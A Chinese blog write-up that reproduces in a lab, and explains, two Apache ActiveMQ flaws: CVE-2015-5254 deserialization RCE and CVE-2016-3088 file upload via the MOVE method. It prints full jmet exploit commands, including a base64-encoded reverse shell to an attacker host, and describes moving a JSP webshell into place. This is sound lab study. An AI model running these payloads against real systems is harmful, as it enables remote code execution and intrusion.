ActiveMQ系列CVE复现与原理分析

ActiveMQ是一种基于开源JMS(Java Message Servie)规范的一种消息中间件的实现

ActiveMQ的设计目标是提供标准的,面向消息的,能够跨多语言多系统的应用集成消息通信中间件

CVE-2015-5254

漏洞成因

Apache ActiveMQ 该程序引起的漏洞不限制代理中可以序列化的类。

远程攻击者可以制作一个特殊的序列化 Java 消息服务 (JMS) ObjectMessage 对象,利用该漏洞执行任意代码。

漏洞原理

● 背景条件

a. 消息类型支持:ActiveMQ 支持 ObjectMessage 类型消息,允许传输 Java 序列化对象。

b. 协议与端口:默认开放 61616 端口(OpenWire 协议)接收序列化消息,8161 端口为 Web 管理页面。

c. 危险依赖:服务端依赖存在反序列化利用链的库(如 Apache Commons Collections 3.1-3.2.1),其中 InvokerTransformer 类允许通过反射执行任意方法。

● 漏洞触发流程

a. 消息接收:消费者从队列中获取 ObjectMessage 消息。

b. 反序列化:调用 ObjectMessage.getObject() 时,使用ClassLoadingAwareObjectInputStream 解析消息内容。

c. 恶意类加载:未校验类名,直接加载攻击者构造的危险类(如 InvokerTransformer)。

d. RCE 触发:通过 Commons Collections 的 Gadget 链反射调用 Runtime.exec(),执行任意命令

影响版本

Apache ActiveMQ 5.x ~ Apache ActiveMQ 5.13.0

复现过程

靶机

首先docker拉取ActiveMQ CVE-2015-5254

image.png

访问自身8161端口

web管理页面 默认密码 admin/admin

image.png

攻击机

利用jemt.jar生成特定反序列化数据连接到靶机61616端口

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME 192.168.203.132 61616

kali的jdk默认为jdk21在直接使用jmet-0.1.0-all.jar会存在一些包无法访问

这里本想安装jdk8,当时由于kali是debin的滚动发行版,jkd8早已被移除

那么我们另辟蹊径,利用--add-opens来开放对应包的访问

java --add-opens java.base/java.util=ALL-UNNAMED \
     --add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
     --add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \
     -jar jmet-0.1.0-all.jar \
     -Q event -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME 192.168.203.132 61616

之后点击对应的消息。触发命令执行

这里由于不是真实环境,所以只能点击触发,正常环境下,会自动触发

image.png

那么进行反弹shell操作,进行了base64

java --add-opens java.base/java.util=ALL-UNNAMED \
     --add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
     --add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \
     -jar jmet-0.1.0-all.jar \
     -Q event -I ActiveMQ -s -Y "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMy4xMzMvMTIzIDA+JjE=}|{base64,-d}|{bash,-i}" -Yp ROME 192.168.203.132 61616

监听123端口

之后利用相同的方式触发

image.png

CVE-2016-3088

/fileserver接口允许写入文件,但没有执行权限

但可用MOVE方法加上/admin/admin/test/systemProperties.jsp泄露的绝对路径

利用Destination:file:///opt/activemq/webapps/api/hack.jsp
移动可访问和执行的目录下,造成任意文件上传

影响版本

Apache ActiveMQ 5.x~5.14.0

复现过程

利用方式需要登录后台,首先登录之后访问/admin/test/systemProperties.jsp
得到绝对路径/opt/activemq

image.png

使用MOVEDestination:file:///opt/activemq/webapps/api/hack.jsp移动到api目录,返回204代表成功了

image.png

之后携带Cookie和Authorization访问对应文件执行命令

image.png

第二种方法

这种方法不用登录,但当时我已经把环境关了,这个是查看别人文章发现的,有兴趣可以试一试

image.png

遇到的问题

原本一直使用PUT方法和Destination上传文件,
但是访问不到,后面才明白要用MOVE

本来用命令行访问,但返回401之后用bp,携带了cookie和autor才成功

image.png

温馨提示:本文内容仅用于合法授权的安全学习与研究交流,严禁用于未授权渗透测试、漏洞利用或任何违法行为。

涉及企业或平台的未公开漏洞信息,请遵循负责任披露原则,勿公开传播可直接复现的敏感细节。

如存在侵权、错误信息或不当内容,请联系站方处理,我们将及时核实并删除。邮箱:admin@baimaojianghu.com。